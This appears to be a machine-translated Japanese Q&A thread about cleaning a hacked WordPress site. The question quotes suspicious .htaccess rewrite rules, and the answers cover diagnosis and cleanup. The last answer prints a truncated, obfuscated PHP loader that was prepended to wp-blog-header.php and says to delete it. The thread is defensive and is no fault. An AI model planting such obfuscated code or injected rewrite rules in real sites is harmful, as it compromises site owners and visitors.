ハッキングされているWordPress Webサイトを整理しようとしています。 .htaccess
ファイルには正規表現に似ていると思われるファイルがいくつかあることに気づきましたが、私の正規表現のスキルはかなり弱いものです(学ぶ時間です)。 .htaccess
ファイルをデフォルトのWordPressの.htaccess
に置き換えてみましたが、すぐに自動的に書き換えられます。私が知る必要があるのはこのコードで何が起こっているのかということです:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
.htaccess
が危険にさらされている場合、それを保護するための提案はありますか?
私は新しいWordPressのインストール、すべてのプラグインの更新/再インストール、パスワードの再設定、ログイン用のキャプチャのインストール、WordPressのインストールを別のディレクトリに移動するなどしました。数日間、Webサイトは問題ないようでした。とてもイライラする!
まず最初に、ハッキングに関連する問題について明確にしましょう。
あなたのサイトが本当にハッキングされたのであれば、すべてのファイルを完全に消去してから新しいパスワードでサーバー(WordPressだけではありません)を再インストールし、すべてのファイルを更新します。場所、同じループホールを使用してサイトが再びハッキングされないことを確認するものは他にありません。
.htaccess
の修正について私にとっては、あなたの.htaccess
の変更はハッキングの結果のようには見えませんが、代わりにURLの書き換えのために.htaccess
ファイルを書き換えているWordPress CODE(プラグインまたはテーマから)のように見えます。
このサンプルをあなたの.htaccess
CODEからチェックしてください。
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
この行は基本的に次のようなURLを変換しています(たとえば)。
example.com/something-12-34-something-else.html?query=string
次のようなクエリ文字列を(メインのindex.php
の内部に)追加します。
?something34=12&query=string
だから、基本的に私はハッカーがこれから何かを手に入れるのか見ない。それはまだ可能ですが、ありそうもないです。
それをテストするために、実際にこのようにWordPressによって書き直されている、あなたは以下のテストをすることができる:
wp-admin -> Settings -> Permalinks
に移動してクリック Save Changes ボタン。
.htaccess
をデフォルトのWordPress .htaccess
CODEに書き換えます。
さて、もう一度wp-admin -> Settings -> Permalinks
に行き、クリックしてください。 Save Changes ボタン。
あなたの.htaccess
ファイルがWordPress(ウェブサーバー)によって書き込み可能であり、その.htaccess
CODEがWordPressによって生成されていた場合、上記のプロセスの後、あなたのデフォルトのWordPress .htaccess
はあなたが投稿したものに即座に変更されます。
WordPressによる変更が正しく識別された場合は、インストールされている各プラグインを一度に1つずつ無効にしてから上記の手順に従うことで、どのプラグインまたはテーマがそれを行っているかを検出できます。
担当プラグインが無効にされると、上記の手順では.htaccess
ファイルにその変更が反映されなくなります。そうすれば、どのプラグインがそれを実行しているのかがわかり、おそらくそれがそれを実行している理由をよりよく理解するでしょう。例えばそれが機能であるか悪意のある活動の結果であるかどうか。
プラグインが機能していないことが判明した場合は、WordPressのコアテーマ(例:Twenty Seventeen)を有効にして、テーマで同じことを実行できます。
上記のいずれでもうまくいかない場合、私はあなたの次の選択肢は専門家を雇い、彼があなたのサイトを調べることを許可することであると思います。
私は数か月前に同様の問題を抱えていました。顧客のWebサイトの1つがハッキングされ、どこで見つけるのが困難でした。 dbを調べてマルウェアコードをチェックすることをお勧めします。私の場合は、疑わしいコードを見つけました。
これらすべてのフォルダを手動でチェックしてから、Anti-Malware SecurityやBrute-Force Firewallなどの他のチェック用のプラグインをインストールすることをお勧めします。ワードプレスの認証キーも再生成しました。 ftp、wordpress、dbのパスワードの変更、ユーザーIDの変更、セキュリティプラグインのインストールなど、徹底的なクリーニングとセキュリティのトリックの後、Webサイトはこれまでハッキングされていません。これがあなたのケースであるかどうかわからないが、私はあなたに役立つことができると思います。
私は、wp-blog-header.phpをクリーンアップすることによって、.htaccessファイルに関する問題を解決しました。htaccess変更を担当するスクリプトは、そこにあり、このように見えます。
<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . '/wp-load.php' );
wp();
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
?>
最初の部分と最後の "?>" + .htaccessクリーニングをきれいにしてください。